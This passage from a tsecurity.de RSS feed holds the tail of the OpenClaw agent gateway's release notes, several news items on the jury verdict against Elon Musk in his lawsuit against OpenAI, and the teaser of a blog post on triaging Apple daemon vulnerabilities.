<li>Gateway: add rollback protocol-mismatch diagnostics, including client protocol ranges in Gateway logs and deep status/doctor hints for stale client processes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462019039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82841/hovercard" href="https://github.com/openclaw/openclaw/issues/82841">#82841</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462327632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82908/hovercard" href="https://github.com/openclaw/openclaw/pull/82908">#82908</a>)</li>
<li>Agents/subagents: keep successful keep-mode completion payloads pending after final-delivery retry exhaustion, so requester recovery no longer loses final subagent results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459924078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82583" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82583/hovercard" href="https://github.com/openclaw/openclaw/issues/82583">#82583</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462746689" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82999" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82999/hovercard" href="https://github.com/openclaw/openclaw/pull/82999">#82999</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/auth: allow same-host trusted-proxy callers to use the documented local direct <code>gateway.auth.password</code> fallback after revisiting the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395374595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78684" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78684/hovercard" href="https://github.com/openclaw/openclaw/issues/78684">#78684</a> fail-closed policy, while keeping token fallback rejected and forwarded-header requests on the trusted-proxy path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460066638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82607/hovercard" href="https://github.com/openclaw/openclaw/issues/82607">#82607</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462463433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82953/hovercard" href="https://github.com/openclaw/openclaw/pull/82953">#82953</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: wait for queued completion handoffs to reach the parent transcript before marking them announced, preventing busy parent runs from cleaning up before observing child results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462352234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82913" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82913/hovercard" href="https://github.com/openclaw/openclaw/issues/82913">#82913</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463073835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83039" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83039/hovercard" href="https://github.com/openclaw/openclaw/pull/83039">#83039</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: route group/channel subagent completions through message-tool-only handoffs when required and keep active-requester wake failures from dropping completion delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461749992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82803" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82803/hovercard" href="https://github.com/openclaw/openclaw/issues/82803">#82803</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yozakura-ava/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yozakura-ava">@yozakura-ava</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Memory-core: scan persisted memory source sessions on startup, comparing on-disk transcripts against the index and marking only missing/newer/resized files dirty for incremental sync. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Telegram: keep the top-level default account in the account list when named accounts or bindings are added alongside top-level credentials, preserving default polling while still letting named-only configs resolve to a single account. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/models: reuse command-scoped plugin metadata across model listing, provider catalog, auth, and synthetic-auth checks, restoring fast <code>openclaw models</code> runs for plugin-heavy installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462172294" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82881/hovercard" href="https://github.com/openclaw/openclaw/issues/82881">#82881</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463033606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83033/hovercard" href="https://github.com/openclaw/openclaw/pull/83033">#83033</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/channels: show configured official external channels such as Discord in <code>openclaw channels list</code> when their plugin package is missing, including the install and doctor repair command instead of reporting no configured channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461817834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82813" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82813/hovercard" href="https://github.com/openclaw/openclaw/issues/82813">#82813</a>.</li>
<li>Signal: preserve mixed-case group IDs through routing and session persistence so group auto-replies keep delivering after updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461907881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82827/hovercard" href="https://github.com/openclaw/openclaw/issues/82827">#82827</a>.</li>
<li>Agents/tools: keep the <code>message</code> tool available in embedded runs when it is explicitly allowed through <code>tools.alsoAllow</code> or runtime tool allowlists, so channel plugins with custom reply delivery can still use configured message sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461933704" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82833" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82833/hovercard" href="https://github.com/openclaw/openclaw/issues/82833">#82833</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cn1313113/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cn1313113">@cn1313113</a>.</li>
<li>WhatsApp: honor forced document delivery for outbound image, GIF, and video media so <code>forceDocument</code>/<code>asDocument</code> sends preserve original media bytes instead of using compressed media payloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4404054047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79272/hovercard" href="https://github.com/openclaw/openclaw/pull/79272">#79272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>.</li>
<li>WhatsApp: name outbound document attachments from their MIME type when no filename is provided, so PDF and CSV sends arrive as <code>file.pdf</code> and <code>file.csv</code> instead of an extensionless <code>file</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>.</li>
<li>Process/diagnostics: report active lane blockers in lane wait warnings so <code>queueAhead=0</code> no longer hides commands waiting behind active work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461701202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82791" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82791/hovercard" href="https://github.com/openclaw/openclaw/issues/82791">#82791</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461702387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82792" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82792/hovercard" href="https://github.com/openclaw/openclaw/pull/82792">#82792</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Process/diagnostics: stop counting the active processing turn as queued backlog in liveness warnings so transient max-only event-loop spikes do not surface as gateway warnings.</li>
<li>Agents/replies: classify provider conversation-state rejections and return a clear message-channel error instead of auto-resetting or falling back to a generic runner failure. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460117536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82616/hovercard" href="https://github.com/openclaw/openclaw/pull/82616">#82616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Browser plugin: trust managed Chrome CDP diagnostics when launch HTTP probes race cold-start readiness, avoiding false startup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462309858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82904/hovercard" href="https://github.com/openclaw/openclaw/issues/82904">#82904</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82986/hovercard" href="https://github.com/openclaw/openclaw/pull/82986">#82986</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmanan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmanan">@kmanan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Android: prompt before replacing a changed Gateway TLS thumbprint, showing the old and new SHA-256 fingerprints so users can accept expected certificate rotations instead of hard failing on pin mismatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463285677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83077" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83077/hovercard" href="https://github.com/openclaw/openclaw/pull/83077">#83077</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
<li>CLI/status: render extra gateway-like service diagnostics as warning/info output instead of error output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077671100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46930/hovercard" href="https://github.com/openclaw/openclaw/issues/46930">#46930</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462392789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82922/hovercard" href="https://github.com/openclaw/openclaw/pull/82922">#82922</a>) thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Agents/failover: classify Moonshot/Kimi exhausted-balance HTTP 429 payloads as billing instead of generic rate limits, preserving billing guidance and fallback behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4060463710" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43447/hovercard" href="https://github.com/openclaw/openclaw/issues/43447">#43447</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463292018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83079/hovercard" href="https://github.com/openclaw/openclaw/pull/83079">#83079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Plugin SDK: bundle <code>openclaw/plugin-sdk/zod</code> into the published package artifact and verify the packed zod subpath stays self-contained, so pnpm global installs can register plugins without a package-local <code>zod</code> symlink. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390279612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78398" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78398/hovercard" href="https://github.com/openclaw/openclaw/issues/78398">#78398</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392386441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78515/hovercard" href="https://github.com/openclaw/openclaw/pull/78515">#78515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ggzeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ggzeng">@ggzeng</a>.</li>
<li>Providers/Google: drop compaction-truncated Gemini thought signatures before replay so malformed Base64 no longer aborts the next assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462736082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82995/hovercard" href="https://github.com/openclaw/openclaw/pull/82995">#82995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wAngByg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wAngByg">@wAngByg</a>.</li>
<li>Gateway/mobile: allow paired iOS and Android clients to refresh same-family OS metadata on authenticated reconnect instead of requiring a new approval. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467055055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83490" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83490/hovercard" href="https://github.com/openclaw/openclaw/pull/83490">#83490</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>WhatsApp: treat <code>upload-file</code> as a supported media send intent by lowering path/URL uploads through the channel's normal send-media transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448275851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81883/hovercard" href="https://github.com/openclaw/openclaw/pull/81883">#81883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>iOS: end Live Activities when OpenClaw is connected, idle, or disconnected, and show compact attention states for approval-required reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469191547" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83597" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83597/hovercard" href="https://github.com/openclaw/openclaw/pull/83597">#83597</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Control UI: hide child nav items when collapsing the active sidebar group. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051748466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42167" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42167/hovercard" href="https://github.com/openclaw/openclaw/issues/42167">#42167</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052169484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42223/hovercard" href="https://github.com/openclaw/openclaw/pull/42223">#42223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aroool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aroool">@Aroool</a>.</li>
<li>CI/proof: skip the real-behavior-proof gate for private org maintainers by minting a least-privilege (<code>members: read</code>) GitHub App token and checking active membership in the <code>maintainer</code> team, instead of treating <code>author_association=CONTRIBUTOR</code> as definitively external. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466090722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83418/hovercard" href="https://github.com/openclaw/openclaw/pull/83418">#83418</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk Loses Lawsuit Against OpenAI]]></title>
<description><![CDATA[After three weeks of testimony, which was covered extensively here on Slashdot, a U.S. jury on Monday ruled against Elon Musk in his lawsuit against OpenAI, finding that he waited too long to bring his claims that the company betrayed its nonprofit mission. Reuters reports: The trial had widely b...]]></description>
<link>https://tsecurity.de/de/3527142/it-security-nachrichten/elon-musk-loses-lawsuit-against-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527142/it-security-nachrichten/elon-musk-loses-lawsuit-against-openai/</guid>
<pubDate>Mon, 18 May 2026 21:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After three weeks of testimony, which was covered extensively here on Slashdot, a U.S. jury on Monday ruled against Elon Musk in his lawsuit against OpenAI, finding that he waited too long to bring his claims that the company betrayed its nonprofit mission. Reuters reports: The trial had widely been seen as a critical moment for the future of OpenAI and artificial intelligence generally, both in how it should be used and who should benefit from it. Following the verdict, Musk's lawyer said he reserved the right to appeal, but the judge suggested he may have an uphill battle because whether the statute of limitations ran out before Musk sued was a factual issue. "There's a substantial amount of evidence to support the jury's finding, which is why I was prepared to dismiss on the spot," U.S. District Judge Yvonne Gonzalez Rogers said.
 
In his 2024 lawsuit, Musk accused OpenAI, its Chief Executive Sam Altman and its President Greg Brockman of manipulating him into giving $38 million, then going behind his back by attaching a for-profit business to its original nonprofit and accepting tens of billions of dollars from Microsoft and other investors. Musk called the OpenAI defendants' conduct "stealing a charity." OpenAI was founded by Altman, Musk and several others in 2015. Musk left its board in 2018, and OpenAI set up a for-profit business the next year. OpenAI countered that it was Musk who saw dollar signs, and that he waited too long to claim OpenAI breached its founding agreement to build safe artificial intelligence to benefit humanity. "Mr. Musk may have the Midas touch in some areas, but not in AI," William Savitt, a lawyer for OpenAI, said in his closing argument.
 
The verdict followed 11 days of testimony and arguments where Musk's and Altman's credibility came under repeated attack. Lawyers for OpenAI embraced each other after the verdict was announced. Microsoft faced an aiding and abetting claim. In a statement, a Microsoft spokesperson said, "The facts and the timeline in this case have long been clear and we welcome the jury's decision to dismiss these claims as untimely." 
Recap:

Musk Accused of 'Selective Amnesia', Altman of Lying As OpenAI Trial Nears End (Day Twelve)
OpenAI Trial Wraps Up With 'Jackass' Trophy For Challenging Musk (Day Eleven)
Sam Altman Testifies That Elon Musk Wanted Control of OpenAI (Day Ten)
Microsoft CEO Satya Nadella Testifies In OpenAI Trial (Day Nine)
Sam Altman Had a Bad Day In Court (Day Eight)
Sam Altman's Management Style Comes Under the Microscope At OpenAI Trial (Day Seven)
Brockman Rebuts Musk's Take On Startup's History, Recounts Secret Work For Tesla (Day Six) 
OpenAI President Discloses His Stake In the Company Is Worth $30 Billion (Day Five)
Musk Concludes Testimony At OpenAI Trial (Day Four)
Elon Musk Says OpenAI Betrayed Him, Clashes With Company's Attorney (Day Three) 
Musk Testifies OpenAI Was Created As Nonprofit To Counter Google (Day Two) 
Elon Musk and OpenAI CEO Sam Altman Head To Court (Day One)<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Elon+Musk+Loses+Lawsuit+Against+OpenAI%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F18%2F1845222%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F18%2F1845222%2Felon-musk-loses-lawsuit-against-openai%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/05/18/1845222/elon-musk-loses-lawsuit-against-openai?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Musk v. Altman proved that AI is led by the wrong people]]></title>
<description><![CDATA[The tech trial of the year, Musk v. Altman, was ultimately a fight for control. Elon Musk argued that Sam Altman, with whom he helped found the now-massive company OpenAI, shouldn't direct the future of AI. Altman's lawyers, in turn, poked at Musk's own credibility. A jury came to a verdict on Mo...]]></description>
<link>https://tsecurity.de/de/3527137/ai-nachrichten/musk-v-altman-proved-that-ai-is-led-by-the-wrong-people/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527137/ai-nachrichten/musk-v-altman-proved-that-ai-is-led-by-the-wrong-people/</guid>
<pubDate>Mon, 18 May 2026 21:03:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The tech trial of the year, Musk v. Altman, was ultimately a fight for control. Elon Musk argued that Sam Altman, with whom he helped found the now-massive company OpenAI, shouldn't direct the future of AI. Altman's lawyers, in turn, poked at Musk's own credibility. A jury came to a verdict on Monday after just […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk has lost his lawsuit against Sam Altman and OpenAI]]></title>
<description><![CDATA[Elon Musk's claim that he was mistreated by his OpenAI cofounders failed after nine California jurors decided in a unanimous verdict that his lawsuits had been filed too late.]]></description>
<link>https://tsecurity.de/de/3526964/it-nachrichten/elon-musk-has-lost-his-lawsuit-against-sam-altman-and-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526964/it-nachrichten/elon-musk-has-lost-his-lawsuit-against-sam-altman-and-openai/</guid>
<pubDate>Mon, 18 May 2026 19:47:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Elon Musk's claim that he was mistreated by his OpenAI cofounders failed after nine California jurors decided in a unanimous verdict that his lawsuits had been filed too late.]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk lost his case against Sam Altman]]></title>
<description><![CDATA[After around two hours of deliberation, the jury has reached a unanimous verdict in Musk v. Altman, the tech trial of the year. The group found that two claims were barred by the statute of limitations, and a third failed thanks to the dismissal of one of these. The jury here is an advisory jury,...]]></description>
<link>https://tsecurity.de/de/3526962/it-nachrichten/elon-musk-lost-his-case-against-sam-altman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526962/it-nachrichten/elon-musk-lost-his-case-against-sam-altman/</guid>
<pubDate>Mon, 18 May 2026 19:47:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After around two hours of deliberation, the jury has reached a unanimous verdict in Musk v. Altman, the tech trial of the year. The group found that two claims were barred by the statute of limitations, and a third failed thanks to the dismissal of one of these. The jury here is an advisory jury, […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk Loses Landmark Lawsuit Against OpenAI]]></title>
<description><![CDATA[The nine-member panel took only two hours to return a verdict in favor of OpenAI on Monday, which the judge quickly adopted as her own final decision.]]></description>
<link>https://tsecurity.de/de/3526961/it-nachrichten/elon-musk-loses-landmark-lawsuit-against-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526961/it-nachrichten/elon-musk-loses-landmark-lawsuit-against-openai/</guid>
<pubDate>Mon, 18 May 2026 19:47:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The nine-member panel took only two hours to return a verdict in favor of OpenAI on Monday, which the judge quickly adopted as her own final decision.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Ministry of Silly Bugs: Triangulating Apple’s Undocumented Daemons (and why osanalyticshelper is a very naughty boy)]]></title>
<description><![CDATA[TL;DR: We stopped trusting NVD’s notoriously vague "Apple-Other" categorisationand built a four-stream triangulation engine using CISA KEV, Wayback Machine caching, and Random Matrix Theory (RMT). Turns out, Race/TOCTOU bugs are a complete academic red herring. The real daemon screaming in mathem...]]></description>
<link>https://tsecurity.de/de/3522934/malware-trojaner-viren/the-ministry-of-silly-bugs-triangulating-apples-undocumented-daemons-and-why-osanalyticshelper-is-a-very-naughty-boy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3522934/malware-trojaner-viren/the-ministry-of-silly-bugs-triangulating-apples-undocumented-daemons-and-why-osanalyticshelper-is-a-very-naughty-boy/</guid>
<pubDate>Sun, 17 May 2026 03:47:58 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
